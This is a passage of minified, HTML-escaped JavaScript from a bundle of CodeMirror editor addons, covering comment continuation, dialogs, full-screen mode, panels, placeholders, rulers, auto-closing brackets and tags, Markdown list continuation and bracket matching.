b?d(a(&quot;../../lib/codemirror&quot;)):&quot;function&quot;==typeof define&amp;&amp;define.amd?define([&quot;../../lib/codemirror&quot;],d):d(CodeMirror)}(function(a){function b(b){if(b.getOption(&quot;disableInput&quot;))return a.Pass;for(var d,e=b.listSelections(),f=[],g=0;g&lt;e.length;g++){var h=e[g].head;if(!/\bcomment\b/.test(b.getTokenTypeAt(h)))return a.Pass;var i=b.getModeAt(h);if(d){if(d!=i)return a.Pass}else d=i;var j=null;if(d.blockCommentStart&amp;&amp;d.blockCommentContinue){var k,l=b.getLine(h.line).slice(0,h.ch),m=l.indexOf(d.blockCommentEnd);if(m!=-1&amp;&amp;m==h.ch-d.blockCommentEnd.length);else if((k=l.indexOf(d.blockCommentStart))&gt;-1){if(j=l.slice(0,k),/\S/.test(j)){j=&quot;&quot;;for(var n=0;n&lt;k;++n)j+=&quot; &quot;}}else(k=l.indexOf(d.blockCommentContinue))&gt;-1&amp;&amp;!/\S/.test(l.slice(0,k))&amp;&amp;(j=l.slice(0,k));null!=j&amp;&amp;(j+=d.blockCommentContinue)}if(null==j&amp;&amp;d.lineComment&amp;&amp;c(b)){var l=b.getLine(h.line),k=l.indexOf(d.lineComment);k&gt;-1&amp;&amp;(j=l.slice(0,k),/\S/.test(j)?j=null:j+=d.lineComment+l.slice(k+d.lineComment.length).match(/^\s*/)[0])}if(null==j)return a.Pass;f[g]=&quot;\n&quot;+j}b.operation(function(){for(var a=e.length-1;a&gt;=0;a--)b.replaceRange(f[a],e[a].from(),e[a].to(),&quot;+insert&quot;)})}function c(a){var b=a.getOption(&quot;continueComments&quot;);return!b||&quot;object&quot;!=typeof b||b.continueLineComment!==!1}for(var d=[&quot;clike&quot;,&quot;css&quot;,&quot;javascript&quot;],e=0;e&lt;d.length;++e)a.extendMode(d[e],{blockCommentContinue:&quot; * &quot;});a.defineOption(&quot;continueComments&quot;,null,function(c,d,e){if(e&amp;&amp;e!=a.Init&amp;&amp;c.removeKeyMap(&quot;continueComment&quot;),d){var f=&quot;Enter&quot;;&quot;string&quot;==typeof d?f=d:&quot;object&quot;==typeof d&amp;&amp;d.key&amp;&amp;(f=d.key);var g={name:&quot;continueComment&quot;};g[f]=b,c.addKeyMap(g)}})})},{&quot;../../lib/codemirror&quot;:59}],3:[function(a,b,c){!function(d){&quot;object&quot;==typeof c&amp;&amp;&quot;object&quot;==typeof b?d(a(&quot;../../lib/codemirror&quot;)):&quot;function&quot;==typeof define&amp;&amp;define.amd?define([&quot;../../lib/codemirror&quot;],d):d(CodeMirror)}(function(a){function b(a,b,c){var d,e=a.getWrapperElement();return d=e.appendChild(document.createElement(&quot;div&quot;)),c?d.className=&quot;CodeMirror-dialog CodeMirror-dialog-bottom&quot;:d.className=&quot;CodeMirror-dialog CodeMirror-dialog-top&quot;,&quot;string&quot;==typeof b?d.innerHTML=b:d.appendChild(b),d}function c(a,b){a.state.currentNotificationClose&amp;&amp;a.state.currentNotificationClose(),a.state.currentNotificationClose=b}a.defineExtension(&quot;openDialog&quot;,function(d,e,f){function g(a){if(&quot;string&quot;==typeof a)l.value=a;else{if(j)return;j=!0,i.parentNode.removeChild(i),k.focus(),f.onClose&amp;&amp;f.onClose(i)}}f||(f={}),c(this,null);var h,i=b(this,d,f.bottom),j=!1,k=this,l=i.getElementsByTagName(&quot;input&quot;)[0];return l?(l.focus(),f.value&amp;&amp;(l.value=f.value,f.selectValueOnOpen!==!1&amp;&amp;l.select()),f.onInput&amp;&amp;a.on(l,&quot;input&quot;,function(a){f.onInput(a,l.value,g)}),f.onKeyUp&amp;&amp;a.on(l,&quot;keyup&quot;,function(a){f.onKeyUp(a,l.value,g)}),a.on(l,&quot;keydown&quot;,function(b){f&amp;&amp;f.onKeyDown&amp;&amp;f.onKeyDown(b,l.value,g)||((27==b.keyCode||f.closeOnEnter!==!1&amp;&amp;13==b.keyCode)&amp;&amp;(l.blur(),a.e_stop(b),g()),13==b.keyCode&amp;&amp;e(l.value,b))}),f.closeOnBlur!==!1&amp;&amp;a.on(l,&quot;blur&quot;,g)):(h=i.getElementsByTagName(&quot;button&quot;)[0])&amp;&amp;(a.on(h,&quot;click&quot;,function(){g(),k.focus()}),f.closeOnBlur!==!1&amp;&amp;a.on(h,&quot;blur&quot;,g),h.focus()),g}),a.defineExtension(&quot;openConfirm&quot;,function(d,e,f){function g(){j||(j=!0,h.parentNode.removeChild(h),k.focus())}c(this,null);var h=b(this,d,f&amp;&amp;f.bottom),i=h.getElementsByTagName(&quot;button&quot;),j=!1,k=this,l=1;i[0].focus();for(var m=0;m&lt;i.length;++m){var n=i[m];!function(b){a.on(n,&quot;click&quot;,function(c){a.e_preventDefault(c),g(),b&amp;&amp;b(k)})}(e[m]),a.on(n,&quot;blur&quot;,function(){--l,setTimeout(function(){l&lt;=0&amp;&amp;g()},200)}),a.on(n,&quot;focus&quot;,function(){++l})}}),a.defineExtension(&quot;openNotification&quot;,function(d,e){function f(){i||(i=!0,clearTimeout(g),h.parentNode.removeChild(h))}c(this,f);var g,h=b(this,d,e&amp;&amp;e.bottom),i=!1,j=e&amp;&amp;&quot;undefined&quot;!=typeof e.duration?e.duration:5e3;return a.on(h,&quot;click&quot;,function(b){a.e_preventDefault(b),f()}),j&amp;&amp;(g=setTimeout(f,j)),f})})},{&quot;../../lib/codemirror&quot;:59}],4:[function(a,b,c){!function(d){&quot;object&quot;==typeof c&amp;&amp;&quot;object&quot;==typeof b?d(a(&quot;../../lib/codemirror&quot;)):&quot;function&quot;==typeof define&amp;&amp;define.amd?define([&quot;../../lib/codemirror&quot;],d):d(CodeMirror)}(function(a){&quot;use strict&quot;;function b(b,d){function e(){b.display.wrapper.offsetHeight?(c(b,d),b.display.lastWrapHeight!=b.display.wrapper.clientHeight&amp;&amp;b.refresh()):d.timeout=setTimeout(e,d.delay)}d.timeout=setTimeout(e,d.delay),d.hurry=function(){clearTimeout(d.timeout),d.timeout=setTimeout(e,50)},a.on(window,&quot;mouseup&quot;,d.hurry),a.on(window,&quot;keyup&quot;,d.hurry)}function c(b,c){clearTimeout(c.timeout),a.off(window,&quot;mouseup&quot;,c.hurry),a.off(window,&quot;keyup&quot;,c.hurry)}a.defineOption(&quot;autoRefresh&quot;,!1,function(a,d){a.state.autoRefresh&amp;&amp;(c(a,a.state.autoRefresh),a.state.autoRefresh=null),d&amp;&amp;0==a.display.wrapper.offsetHeight&amp;&amp;b(a,a.state.autoRefresh={delay:d.delay||250})})})},{&quot;../../lib/codemirror&quot;:59}],5:[function(a,b,c){!function(d){&quot;object&quot;==typeof c&amp;&amp;&quot;object&quot;==typeof b?d(a(&quot;../../lib/codemirror&quot;)):&quot;function&quot;==typeof define&amp;&amp;define.amd?define([&quot;../../lib/codemirror&quot;],d):d(CodeMirror)}(function(a){&quot;use strict&quot;;function b(a){var b=a.getWrapperElement();a.state.fullScreenRestore={scrollTop:window.pageYOffset,scrollLeft:window.pageXOffset,width:b.style.width,height:b.style.height},b.style.width=&quot;&quot;,b.style.height=&quot;auto&quot;,b.className+=&quot; CodeMirror-fullscreen&quot;,document.documentElement.style.overflow=&quot;hidden&quot;,a.refresh()}function c(a){var b=a.getWrapperElement();b.className=b.className.replace(/\s*CodeMirror-fullscreen\b/,&quot;&quot;),document.documentElement.style.overflow=&quot;&quot;;var c=a.state.fullScreenRestore;b.style.width=c.width,b.style.height=c.height,window.scrollTo(c.scrollLeft,c.scrollTop),a.refresh()}a.defineOption(&quot;fullScreen&quot;,!1,function(d,e,f){f==a.Init&amp;&amp;(f=!1),!f!=!e&amp;&amp;(e?b(d):c(d))})})},{&quot;../../lib/codemirror&quot;:59}],6:[function(a,b,c){!function(d){&quot;object&quot;==typeof c&amp;&amp;&quot;object&quot;==typeof b?d(a(&quot;../../lib/codemirror&quot;)):&quot;function&quot;==typeof define&amp;&amp;define.amd?define([&quot;../../lib/codemirror&quot;],d):d(CodeMirror)}(function(a){function b(a,b,c,d){this.cm=a,this.node=b,this.options=c,this.height=d,this.cleared=!1}function c(a){var b=a.getWrapperElement(),c=window.getComputedStyle?window.getComputedStyle(b):b.currentStyle,d=parseInt(c.height),e=a.state.panels={setHeight:b.style.height,heightLeft:d,panels:0,wrapper:document.createElement(&quot;div&quot;)};b.parentNode.insertBefore(e.wrapper,b);var f=a.hasFocus();e.wrapper.appendChild(b),f&amp;&amp;a.focus(),a._setSize=a.setSize,null!=d&amp;&amp;(a.setSize=function(b,c){if(null==c)return this._setSize(b,c);if(e.setHeight=c,&quot;number&quot;!=typeof c){var f=/^(\d+\.?\d*)px$/.exec(c);f?c=Number(f[1]):(e.wrapper.style.height=c,c=e.wrapper.offsetHeight,e.wrapper.style.height=&quot;&quot;)}a._setSize(b,e.heightLeft+=c-d),d=c})}function d(a){var b=a.state.panels;a.state.panels=null;var c=a.getWrapperElement();b.wrapper.parentNode.replaceChild(c,b.wrapper),c.style.height=b.setHeight,a.setSize=a._setSize,a.setSize()}function e(a,b){for(var c=b.nextSibling;c;c=c.nextSibling)if(c==a.getWrapperElement())return!0;return!1}a.defineExtension(&quot;addPanel&quot;,function(a,d){d=d||{},this.state.panels||c(this);var f=this.state.panels,g=f.wrapper,h=this.getWrapperElement();d.after instanceof b&amp;&amp;!d.after.cleared?g.insertBefore(a,d.before.node.nextSibling):d.before instanceof b&amp;&amp;!d.before.cleared?g.insertBefore(a,d.before.node):d.replace instanceof b&amp;&amp;!d.replace.cleared?(g.insertBefore(a,d.replace.node),d.replace.clear()):&quot;bottom&quot;==d.position?g.appendChild(a):&quot;before-bottom&quot;==d.position?g.insertBefore(a,h.nextSibling):&quot;after-top&quot;==d.position?g.insertBefore(a,h):g.insertBefore(a,g.firstChild);var i=d&amp;&amp;d.height||a.offsetHeight;return this._setSize(null,f.heightLeft-=i),f.panels++,d.stable&amp;&amp;e(this,a)&amp;&amp;this.scrollTo(null,this.getScrollInfo().top+i),new b(this,a,d,i)}),b.prototype.clear=function(){if(!this.cleared){this.cleared=!0;var a=this.cm.state.panels;this.cm._setSize(null,a.heightLeft+=this.height),this.options.stable&amp;&amp;e(this.cm,this.node)&amp;&amp;this.cm.scrollTo(null,this.cm.getScrollInfo().top-this.height),a.wrapper.removeChild(this.node),0==--a.panels&amp;&amp;d(this.cm)}},b.prototype.changed=function(a){var b=null==a?this.node.offsetHeight:a,c=this.cm.state.panels;this.cm._setSize(null,c.heightLeft-=b-this.height),this.height=b}})},{&quot;../../lib/codemirror&quot;:59}],7:[function(a,b,c){!function(d){&quot;object&quot;==typeof c&amp;&amp;&quot;object&quot;==typeof b?d(a(&quot;../../lib/codemirror&quot;)):&quot;function&quot;==typeof define&amp;&amp;define.amd?define([&quot;../../lib/codemirror&quot;],d):d(CodeMirror)}(function(a){function b(a){a.state.placeholder&amp;&amp;(a.state.placeholder.parentNode.removeChild(a.state.placeholder),a.state.placeholder=null)}function c(a){b(a);var c=a.state.placeholder=document.createElement(&quot;pre&quot;);c.style.cssText=&quot;height: 0; overflow: visible&quot;,c.className=&quot;CodeMirror-placeholder&quot;;var d=a.getOption(&quot;placeholder&quot;);&quot;string&quot;==typeof d&amp;&amp;(d=document.createTextNode(d)),c.appendChild(d),a.display.lineSpace.insertBefore(c,a.display.lineSpace.firstChild)}function d(a){f(a)&amp;&amp;c(a)}function e(a){var d=a.getWrapperElement(),e=f(a);d.className=d.className.replace(&quot; CodeMirror-empty&quot;,&quot;&quot;)+(e?&quot; CodeMirror-empty&quot;:&quot;&quot;),e?c(a):b(a)}function f(a){return 1===a.lineCount()&amp;&amp;&quot;&quot;===a.getLine(0)}a.defineOption(&quot;placeholder&quot;,&quot;&quot;,function(c,f,g){var h=g&amp;&amp;g!=a.Init;if(f&amp;&amp;!h)c.on(&quot;blur&quot;,d),c.on(&quot;change&quot;,e),c.on(&quot;swapDoc&quot;,e),e(c);else if(!f&amp;&amp;h){c.off(&quot;blur&quot;,d),c.off(&quot;change&quot;,e),c.off(&quot;swapDoc&quot;,e),b(c);var i=c.getWrapperElement();i.className=i.className.replace(&quot; CodeMirror-empty&quot;,&quot;&quot;)}f&amp;&amp;!c.hasFocus()&amp;&amp;d(c)})})},{&quot;../../lib/codemirror&quot;:59}],8:[function(a,b,c){!function(d){&quot;object&quot;==typeof c&amp;&amp;&quot;object&quot;==typeof b?d(a(&quot;../../lib/codemirror&quot;)):&quot;function&quot;==typeof define&amp;&amp;define.amd?define([&quot;../../lib/codemirror&quot;],d):d(CodeMirror)}(function(a){&quot;use strict&quot;;function b(b){b.state.rulerDiv.textContent=&quot;&quot;;var c=b.getOption(&quot;rulers&quot;),d=b.defaultCharWidth(),e=b.charCoords(a.Pos(b.firstLine(),0),&quot;div&quot;).left;b.state.rulerDiv.style.minHeight=b.display.scroller.offsetHeight+30+&quot;px&quot;;for(var f=0;f&lt;c.length;f++){var g=document.createElement(&quot;div&quot;);g.className=&quot;CodeMirror-ruler&quot;;var h,i=c[f];&quot;number&quot;==typeof i?h=i:(h=i.column,i.className&amp;&amp;(g.className+=&quot; &quot;+i.className),i.color&amp;&amp;(g.style.borderColor=i.color),i.lineStyle&amp;&amp;(g.style.borderLeftStyle=i.lineStyle),i.width&amp;&amp;(g.style.borderLeftWidth=i.width)),g.style.left=e+h*d+&quot;px&quot;,b.state.rulerDiv.appendChild(g)}}a.defineOption(&quot;rulers&quot;,!1,function(a,c){a.state.rulerDiv&amp;&amp;(a.state.rulerDiv.parentElement.removeChild(a.state.rulerDiv),a.state.rulerDiv=null,a.off(&quot;refresh&quot;,b)),c&amp;&amp;c.length&amp;&amp;(a.state.rulerDiv=a.display.lineSpace.parentElement.insertBefore(document.createElement(&quot;div&quot;),a.display.lineSpace),a.state.rulerDiv.className=&quot;CodeMirror-rulers&quot;,b(a),a.on(&quot;refresh&quot;,b))})})},{&quot;../../lib/codemirror&quot;:59}],9:[function(a,b,c){!function(d){&quot;object&quot;==typeof c&amp;&amp;&quot;object&quot;==typeof b?d(a(&quot;../../lib/codemirror&quot;)):&quot;function&quot;==typeof define&amp;&amp;define.amd?define([&quot;../../lib/codemirror&quot;],d):d(CodeMirror)}(function(a){function b(a,b){return&quot;pairs&quot;==b&amp;&amp;&quot;string&quot;==typeof a?a:&quot;object&quot;==typeof a&amp;&amp;null!=a[b]?a[b]:n[b]}function c(a){for(var b=0;b&lt;a.length;b++){var c=a.charAt(b),e=&quot;&#039;&quot;+c+&quot;&#039;&quot;;p[e]||(p[e]=d(c))}}function d(a){return function(b){return i(b,a)}}function e(a){var b=a.state.closeBrackets;if(!b||b.override)return b;var c=a.getModeAt(a.getCursor());return c.closeBrackets||b}function f(c){var d=e(c);if(!d||c.getOption(&quot;disableInput&quot;))return a.Pass;for(var f=b(d,&quot;pairs&quot;),g=c.listSelections(),h=0;h&lt;g.length;h++){if(!g[h].empty())return a.Pass;var i=k(c,g[h].head);if(!i||f.indexOf(i)%2!=0)return a.Pass}for(var h=g.length-1;h&gt;=0;h--){var j=g[h].head;c.replaceRange(&quot;&quot;,o(j.line,j.ch-1),o(j.line,j.ch+1),&quot;+delete&quot;)}}function g(c){var d=e(c),f=d&amp;&amp;b(d,&quot;explode&quot;);if(!f||c.getOption(&quot;disableInput&quot;))return a.Pass;for(var g=c.listSelections(),h=0;h&lt;g.length;h++){if(!g[h].empty())return a.Pass;var i=k(c,g[h].head);if(!i||f.indexOf(i)%2!=0)return a.Pass}c.operation(function(){c.replaceSelection(&quot;\n\n&quot;,null),c.execCommand(&quot;goCharLeft&quot;),g=c.listSelections();for(var a=0;a&lt;g.length;a++){var b=g[a].head.line;c.indentLine(b,null,!0),c.indentLine(b+1,null,!0)}})}function h(b){var c=a.cmpPos(b.anchor,b.head)&gt;0;return{anchor:new o(b.anchor.line,b.anchor.ch+(c?-1:1)),head:new o(b.head.line,b.head.ch+(c?1:-1))}}function i(c,d){var f=e(c);if(!f||c.getOption(&quot;disableInput&quot;))return a.Pass;var g=b(f,&quot;pairs&quot;),i=g.indexOf(d);if(i==-1)return a.Pass;for(var k,n=b(f,&quot;triples&quot;),p=g.charAt(i+1)==d,q=c.listSelections(),r=i%2==0,s=0;s&lt;q.length;s++){var t,u=q[s],v=u.head,w=c.getRange(v,o(v.line,v.ch+1));if(r&amp;&amp;!u.empty())t=&quot;surround&quot;;else if(!p&amp;&amp;r||w!=d)if(p&amp;&amp;v.ch&gt;1&amp;&amp;n.indexOf(d)&gt;=0&amp;&amp;c.getRange(o(v.line,v.ch-2),v)==d+d&amp;&amp;(v.ch&lt;=2||c.getRange(o(v.line,v.ch-3),o(v.line,v.ch-2))!=d))t=&quot;addFour&quot;;else if(p){if(a.isWordChar(w)||!l(c,v,d))return a.Pass;t=&quot;both&quot;}else{if(!r||c.getLine(v.line).length!=v.ch&amp;&amp;!j(w,g)&amp;&amp;!/\s/.test(w))return a.Pass;t=&quot;both&quot;}else t=p&amp;&amp;m(c,v)?&quot;both&quot;:n.indexOf(d)&gt;=0&amp;&amp;c.getRange(v,o(v.line,v.ch+3))==d+d+d?&quot;skipThree&quot;:&quot;skip&quot;;if(k){if(k!=t)return a.Pass}else k=t}var x=i%2?g.charAt(i-1):d,y=i%2?d:g.charAt(i+1);c.operation(function(){if(&quot;skip&quot;==k)c.execCommand(&quot;goCharRight&quot;);else if(&quot;skipThree&quot;==k)for(var a=0;a&lt;3;a++)c.execCommand(&quot;goCharRight&quot;);else if(&quot;surround&quot;==k){for(var b=c.getSelections(),a=0;a&lt;b.length;a++)b[a]=x+b[a]+y;c.replaceSelections(b,&quot;around&quot;),b=c.listSelections().slice();for(var a=0;a&lt;b.length;a++)b[a]=h(b[a]);c.setSelections(b)}else&quot;both&quot;==k?(c.replaceSelection(x+y,null),c.triggerElectric(x+y),c.execCommand(&quot;goCharLeft&quot;)):&quot;addFour&quot;==k&amp;&amp;(c.replaceSelection(x+x+x+x,&quot;before&quot;),c.execCommand(&quot;goCharRight&quot;))})}function j(a,b){var c=b.lastIndexOf(a);return c&gt;-1&amp;&amp;c%2==1}function k(a,b){var c=a.getRange(o(b.line,b.ch-1),o(b.line,b.ch+1));return 2==c.length?c:null}function l(b,c,d){var e=b.getLine(c.line),f=b.getTokenAt(c);if(/\bstring2?\b/.test(f.type)||m(b,c))return!1;var g=new a.StringStream(e.slice(0,c.ch)+d+e.slice(c.ch),4);for(g.pos=g.start=f.start;;){var h=b.getMode().token(g,f.state);if(g.pos&gt;=c.ch+1)return/\bstring2?\b/.test(h);g.start=g.pos}}function m(a,b){var c=a.getTokenAt(o(b.line,b.ch+1));return/\bstring/.test(c.type)&amp;&amp;c.start==b.ch}var n={pairs:&quot;()[]{}&#039;&#039;\&quot;\&quot;&quot;,triples:&quot;&quot;,explode:&quot;[]{}&quot;},o=a.Pos;a.defineOption(&quot;autoCloseBrackets&quot;,!1,function(d,e,f){f&amp;&amp;f!=a.Init&amp;&amp;(d.removeKeyMap(p),d.state.closeBrackets=null),e&amp;&amp;(c(b(e,&quot;pairs&quot;)),d.state.closeBrackets=e,d.addKeyMap(p))});var p={Backspace:f,Enter:g};c(n.pairs+&quot;`&quot;)})},{&quot;../../lib/codemirror&quot;:59}],10:[function(a,b,c){!function(d){&quot;object&quot;==typeof c&amp;&amp;&quot;object&quot;==typeof b?d(a(&quot;../../lib/codemirror&quot;),a(&quot;../fold/xml-fold&quot;)):&quot;function&quot;==typeof define&amp;&amp;define.amd?define([&quot;../../lib/codemirror&quot;,&quot;../fold/xml-fold&quot;],d):d(CodeMirror)}(function(a){function b(b){if(b.getOption(&quot;disableInput&quot;))return a.Pass;for(var c=b.listSelections(),d=[],i=0;i&lt;c.length;i++){if(!c[i].empty())return a.Pass;var j=c[i].head,k=b.getTokenAt(j),l=a.innerMode(b.getMode(),k.state),m=l.state;if(&quot;xml&quot;!=l.mode.name||!m.tagName)return a.Pass;var n=b.getOption(&quot;autoCloseTags&quot;),o=&quot;html&quot;==l.mode.configuration,p=&quot;object&quot;==typeof n&amp;&amp;n.dontCloseTags||o&amp;&amp;g,q=&quot;object&quot;==typeof n&amp;&amp;n.indentTags||o&amp;&amp;h,r=m.tagName;k.end&gt;j.ch&amp;&amp;(r=r.slice(0,r.length-k.end+j.ch));var s=r.toLowerCase();if(!r||&quot;string&quot;==k.type&amp;&amp;(k.end!=j.ch||!/[\&quot;\&#039;]/.test(k.string.charAt(k.string.length-1))||1==k.string.length)||&quot;tag&quot;==k.type&amp;&amp;&quot;closeTag&quot;==m.type||k.string.indexOf(&quot;/&quot;)==k.string.length-1||p&amp;&amp;e(p,s)&gt;-1||f(b,r,j,m,!0))return a.Pass;var t=q&amp;&amp;e(q,s)&gt;-1;d[i]={indent:t,text:&quot;&gt;&quot;+(t?&quot;\n\n&quot;:&quot;&quot;)+&quot;&lt;/&quot;+r+&quot;&gt;&quot;,newPos:t?a.Pos(j.line+1,0):a.Pos(j.line,j.ch+1)}}for(var i=c.length-1;i&gt;=0;i--){var u=d[i];b.replaceRange(u.text,c[i].head,c[i].anchor,&quot;+insert&quot;);var v=b.listSelections().slice(0);v[i]={head:u.newPos,anchor:u.newPos},b.setSelections(v),u.indent&amp;&amp;(b.indentLine(u.newPos.line,null,!0),b.indentLine(u.newPos.line+1,null,!0))}}function c(b,c){for(var d=b.listSelections(),e=[],g=c?&quot;/&quot;:&quot;&lt;/&quot;,h=0;h&lt;d.length;h++){if(!d[h].empty())return a.Pass;var i=d[h].head,j=b.getTokenAt(i),k=a.innerMode(b.getMode(),j.state),l=k.state;if(c&amp;&amp;(&quot;string&quot;==j.type||&quot;&lt;&quot;!=j.string.charAt(0)||j.start!=i.ch-1))return a.Pass;var m;if(&quot;xml&quot;!=k.mode.name)if(&quot;htmlmixed&quot;==b.getMode().name&amp;&amp;&quot;javascript&quot;==k.mode.name)m=g+&quot;script&quot;;else{if(&quot;htmlmixed&quot;!=b.getMode().name||&quot;css&quot;!=k.mode.name)return a.Pass;m=g+&quot;style&quot;}else{if(!l.context||!l.context.tagName||f(b,l.context.tagName,i,l))return a.Pass;m=g+l.context.tagName}&quot;&gt;&quot;!=b.getLine(i.line).charAt(j.end)&amp;&amp;(m+=&quot;&gt;&quot;),e[h]=m}b.replaceSelections(e),d=b.listSelections();for(var h=0;h&lt;d.length;h++)(h==d.length-1||d[h].head.line&lt;d[h+1].head.line)&amp;&amp;b.indentLine(d[h].head.line)}function d(b){return b.getOption(&quot;disableInput&quot;)?a.Pass:c(b,!0)}function e(a,b){if(a.indexOf)return a.indexOf(b);for(var c=0,d=a.length;c&lt;d;++c)if(a[c]==b)return c;return-1}function f(b,c,d,e,f){if(!a.scanForClosingTag)return!1;var g=Math.min(b.lastLine()+1,d.line+500),h=a.scanForClosingTag(b,d,null,g);if(!h||h.tag!=c)return!1;for(var i=e.context,j=f?1:0;i&amp;&amp;i.tagName==c;i=i.prev)++j;d=h.to;for(var k=1;k&lt;j;k++){var l=a.scanForClosingTag(b,d,null,g);if(!l||l.tag!=c)return!1;d=l.to}return!0}a.defineOption(&quot;autoCloseTags&quot;,!1,function(c,e,f){if(f!=a.Init&amp;&amp;f&amp;&amp;c.removeKeyMap(&quot;autoCloseTags&quot;),e){var g={name:&quot;autoCloseTags&quot;};(&quot;object&quot;!=typeof e||e.whenClosing)&amp;&amp;(g[&quot;&#039;/&#039;&quot;]=function(a){return d(a)}),(&quot;object&quot;!=typeof e||e.whenOpening)&amp;&amp;(g[&quot;&#039;&gt;&#039;&quot;]=function(a){return b(a)}),c.addKeyMap(g)}});var g=[&quot;area&quot;,&quot;base&quot;,&quot;br&quot;,&quot;col&quot;,&quot;command&quot;,&quot;embed&quot;,&quot;hr&quot;,&quot;img&quot;,&quot;input&quot;,&quot;keygen&quot;,&quot;link&quot;,&quot;meta&quot;,&quot;param&quot;,&quot;source&quot;,&quot;track&quot;,&quot;wbr&quot;],h=[&quot;applet&quot;,&quot;blockquote&quot;,&quot;body&quot;,&quot;button&quot;,&quot;div&quot;,&quot;dl&quot;,&quot;fieldset&quot;,&quot;form&quot;,&quot;frameset&quot;,&quot;h1&quot;,&quot;h2&quot;,&quot;h3&quot;,&quot;h4&quot;,&quot;h5&quot;,&quot;h6&quot;,&quot;head&quot;,&quot;html&quot;,&quot;iframe&quot;,&quot;layer&quot;,&quot;legend&quot;,&quot;object&quot;,&quot;ol&quot;,&quot;p&quot;,&quot;select&quot;,&quot;table&quot;,&quot;ul&quot;];a.commands.closeTag=function(a){return c(a)}})},{&quot;../../lib/codemirror&quot;:59,&quot;../fold/xml-fold&quot;:21}],11:[function(a,b,c){!function(d){&quot;object&quot;==typeof c&amp;&amp;&quot;object&quot;==typeof b?d(a(&quot;../../lib/codemirror&quot;)):&quot;function&quot;==typeof define&amp;&amp;define.amd?define([&quot;../../lib/codemirror&quot;],d):d(CodeMirror)}(function(a){&quot;use strict&quot;;var b=/^(\s*)(&gt;[&gt; ]*|[*+-] \[[x ]\]\s|[*+-]\s|(\d+)([.)]))(\s*)/,c=/^(\s*)(&gt;[&gt; ]*|[*+-] \[[x ]\]|[*+-]|(\d+)[.)])(\s*)$/,d=/[*+-]\s/;a.commands.newlineAndIndentContinueMarkdownList=function(e){if(e.getOption(&quot;disableInput&quot;))return a.Pass;for(var f=e.listSelections(),g=[],h=0;h&lt;f.length;h++){var i=f[h].head,j=e.getStateAfter(i.line),k=j.list!==!1,l=0!==j.quote,m=e.getLine(i.line),n=b.exec(m);if(!f[h].empty()||!k&amp;&amp;!l||!n)return void e.execCommand(&quot;newlineAndIndent&quot;);if(c.test(m))/&gt;\s*$/.test(m)||e.replaceRange(&quot;&quot;,{line:i.line,ch:0},{line:i.line,ch:i.ch+1}),g[h]=&quot;\n&quot;;else{var o=n[1],p=n[5],q=d.test(n[2])||n[2].indexOf(&quot;&gt;&quot;)&gt;=0?n[2].replace(&quot;x&quot;,&quot; &quot;):parseInt(n[3],10)+1+n[4];g[h]=&quot;\n&quot;+o+q+p}}e.replaceSelections(g)}})},{&quot;../../lib/codemirror&quot;:59}],12:[function(a,b,c){!function(d){&quot;object&quot;==typeof c&amp;&amp;&quot;object&quot;==typeof b?d(a(&quot;../../lib/codemirror&quot;)):&quot;function&quot;==typeof define&amp;&amp;define.amd?define([&quot;../../lib/codemirror&quot;],d):d(CodeMirror)}(function(a){function b(a,b,d){var e=a.getLineHandle(b.line),f=b.ch-1,i=d&amp;&amp;d.afterCursor;null==i&amp;&amp;(i=/(^| )cm-fat-cursor($| )/.test(a.getWrapperElement().className));var j=!i&amp;&amp;f&gt;=0&amp;&amp;h[e.text.charAt(f)]||h[e.text.charAt(++f)];if(!j)return null;var k=&quot;&gt;&quot;==j.charAt(1)?1:-1;if(d&amp;&amp;d.strict&amp;&amp;k&gt;0!=(f==b.ch))return null;var l=a.getTokenTypeAt(g(b.line,f+1)),m=c(a,g(b.line,f+(k&gt;0?1:0)),k,l||null,d);return null==m?null:{from:g(b.line,f),to:m&amp;&amp;m.pos,match:m&amp;&amp;m.ch==j.charAt(0),forward:k&gt;0}}function c(a,b,c,d,e){for(var f=e&amp;&amp;e.maxScanLineLength||1e4,i=e&amp;&amp;e.maxScanLines||1e3,j=[],k=e&amp;&amp;e.bracketRegex?e.bracketRegex:/[(){}[\]]/,l=c&gt;0?Math.min(b.line+i,a.lastLine()+1):Math.max(a.firstLine()-1,b.line-i),m=b.line;m!=l;m+=c){var n=a.getLine(m);if(n){var o=c&gt;0?0:n.length-1,p=c&gt;0?n.length:-1;if(!(n.length&gt;f))for(m==b.line&amp;&amp;(o=b.ch-(c&lt;0?1:0));o!=p;o+=c){var q=n.charAt(o);if(k.test(q)&amp;&amp;(void 0===d||a.getTokenTypeAt(g(m,o+1))==d)){var r=h[q];if(&quot;&gt;&quot;==r.charAt(1)==c&gt;0)j.push(q);else{if(!j.length)return{pos:g(m,o),ch:q};j.pop()}}}}}return m-c!=(c&gt;0?a.lastLine():a.firstLine())&amp;&amp;null}function d(a,c,d){for(var e=a.state.matchBrackets.maxHighlightLineLength||1e3,h=[],i=a.listSelections(),j=0;j&lt;i.length;j++){var k=i[j].empty()&amp;&amp;b(a,i[j].head,d);if(k&amp;&amp;a.getLine(k.from.line).length&lt;=e){var l=k.match?&quot;CodeMirror-matchingbracket&quot;:&quot;CodeMirror-nonmatchingbracket&quot;;h.push(a.markText(k.from,g(k.from.line,k.from.ch+1),{className:l})),k.to&amp;&amp;a.getLine(k.to.line).length&lt;=e&amp;&amp;h.push(a.markText(k.to,g(k.to.line,k.to.ch+1),{className:l}))}}if(h.length){f&amp;&amp;a.state.focused&amp;&amp;a.focus();var m=function(){a.operation(function(){for(var a=0;a&lt;h.length;a++)h[a].clear()})};if(!c)return m;setTimeout(m,800)}}function e(a){a.operation(function(){i&amp;&amp;(i(),i=null),i=d(a,!1,a.state.matchBrackets)})}var f=/MSIE \d/.test(navigator.userAgent)&amp;&amp;(null==document.documentMode||document.documentMode&lt;8),g=a.Pos,h={&quot;(&quot;:&quot;)&gt;&quot;,&quot;)&quot;:&quot;(&lt;&quot;,&quot;[&quot;:&quot;]&gt;&quot;,&quot;]&quot;:&quot;[&lt;&quot;,&quot;{&quot;:&quot;}&gt;&quot;,&quot;}&quot;:&quot;{&lt;&quot;},i=null;a.defineOption(&quot;matchBrackets&quot;,!1,function(b,c,d){d&amp;&amp;d!=a.Init&amp;&amp;(b.off(&quot;cursorActivity&quot;,e),i&amp;&amp;(i(),i=null)),c&amp;&amp;(b.state.matchBrackets=&quot;object&quot;==typeof c?c:{},b.on(&quot;cursorActivity&quot;,e))}),a.defineExtension(&quot;matchBrackets&quot;,function(){d(this,!0)}),a.defineExtension(&quot;findMatchingBracket&quot;,function(a,c,d){return(d||&quot;boolean&quot;==typeof 